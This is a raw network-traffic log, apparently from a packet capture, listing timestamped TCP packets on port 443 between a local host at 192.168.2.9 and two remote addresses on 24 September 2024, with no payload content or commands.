Sep 24, 2024 06:30:19.774945021 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.774954081 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.774982929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.775048971 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.775048971 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.775048971 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.775062084 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.775099039 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.775100946 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.775118113 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.775127888 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.775202990 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.775212049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.775259018 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.775273085 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.775360107 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.775371075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.775401115 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.775407076 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.775510073 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.775518894 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.775624037 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.775651932 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.775696039 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.775703907 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.775763035 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.775779009 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.775846958 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:19.983423948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:19.983537912 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:20.415419102 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:20.415539980 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.243417978 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.245722055 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.521631956 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.521650076 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.521665096 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.521744013 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.521759033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.521780968 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.521790028 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.521853924 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.521893024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.521931887 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.521931887 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.521943092 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.521954060 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.521965027 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.522074938 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.522074938 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.522089005 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.522109032 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.522133112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.522281885 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.522293091 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.522305012 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.522340059 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.522378922 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.522378922 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.522392035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.522418976 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.522520065 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.522531033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.522617102 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.522772074 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.522783995 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.522938967 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:21.731410027 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:21.731456041 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.032860041 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.032874107 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.032900095 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033067942 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.033080101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033106089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033129930 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033194065 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.033200979 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033354998 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.033420086 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033438921 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.033463955 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033487082 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033513069 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033598900 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.033617020 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033750057 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.033766985 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033793926 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033828020 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.033847094 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033876896 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033894062 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.033901930 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.033931017 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.033940077 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034004927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.034013033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034152985 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.034164906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034190893 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034218073 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.034218073 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.034291029 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034326077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.034326077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.034332991 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034365892 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034408092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.034420013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034440994 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034497976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.034507990 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034518957 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034564018 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.034571886 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034693956 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.034706116 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034732103 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034763098 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.034856081 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.034899950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.034930944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.034981966 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.035002947 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.239406109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.239553928 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:22.655409098 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:22.655551910 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.483417034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.486141920 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.611273050 CEST	49749	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:30:23.611311913 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:23.611373901 CEST	49749	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:30:23.612140894 CEST	49749	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:30:23.612162113 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:23.629260063 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.629271030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629281044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629338980 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.629344940 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629354954 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629395008 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.629400969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629447937 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.629452944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629473925 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629498005 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.629503965 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629553080 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.629558086 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629570961 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629672050 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.629672050 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.629681110 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629740000 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629750013 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.629801989 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629837990 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.629865885 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629941940 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.629952908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.629971981 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.630043030 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.630163908 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.630218029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.630227089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.630285978 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:23.835432053 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:23.835546970 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.050695896 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.050719976 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.050740004 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.050753117 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.050949097 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.050949097 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.050961971 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.050988913 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051012039 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051018953 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051203966 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.051203966 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.051214933 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051237106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051260948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051311016 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051373959 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051402092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.051439047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051522970 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.051534891 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051582098 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051613092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.051613092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.051624060 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051657915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051678896 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.051696062 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051712990 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051759005 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.051821947 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.051831961 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051852942 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051898956 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.051911116 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.051934958 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.052011967 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.052018881 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.052063942 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.052069902 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.052092075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.052156925 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.052162886 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.052284002 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.052284002 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.052294970 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.052323103 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.052359104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.052364111 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.052478075 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.052532911 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.052560091 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.052674055 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.052674055 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.052684069 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.052726984 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.052769899 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.052829981 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.052829981 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.052840948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.052906036 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.052977085 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.263402939 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.311783075 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.460124016 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:24.460261106 CEST	49749	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:30:24.462013006 CEST	49749	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:30:24.462025881 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:24.462318897 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:24.466890097 CEST	49749	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:30:24.507415056 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:24.527410984 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.527529955 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:24.749778986 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:24.749804974 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:24.749819994 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:24.749919891 CEST	49749	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:30:24.749937057 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:24.749963045 CEST	49749	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:30:24.749994993 CEST	49749	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:30:24.751684904 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:24.751734972 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:24.751782894 CEST	49749	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:30:24.751796007 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:24.751807928 CEST	49749	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:30:24.751807928 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:24.751872063 CEST	49749	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:30:24.752918005 CEST	49749	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:30:24.752938032 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:24.752959967 CEST	49749	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:30:24.752966881 CEST	443	49749	13.85.23.86	192.168.2.9
Sep 24, 2024 06:30:24.955403090 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:24.955445051 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.733695030 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.733720064 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.733736992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.733892918 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.733901978 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.733910084 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.733949900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734049082 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.734049082 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.734055996 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734072924 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734078884 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734126091 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734193087 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.734200954 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734215975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734251022 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.734261036 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734280109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734317064 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.734342098 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734359026 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734636068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.734636068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.734636068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.734651089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734671116 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734688997 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734714031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734746933 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734755993 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.734766960 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734771013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.734967947 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.734967947 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.735097885 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:25.939412117 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:25.943526030 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.367408991 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.371568918 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.486954927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.486989021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487008095 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487018108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487186909 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.487200022 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487225056 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487241030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487304926 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.487314939 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487327099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487364054 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.487375021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487395048 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487432003 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.487438917 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487445116 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487514019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.487524033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487528086 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487543106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487556934 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.487562895 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487571001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487592936 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487864017 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.487889051 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487912893 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.487934113 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.487952948 CEST	443	49748	188.114.97.3	192.168.2.9
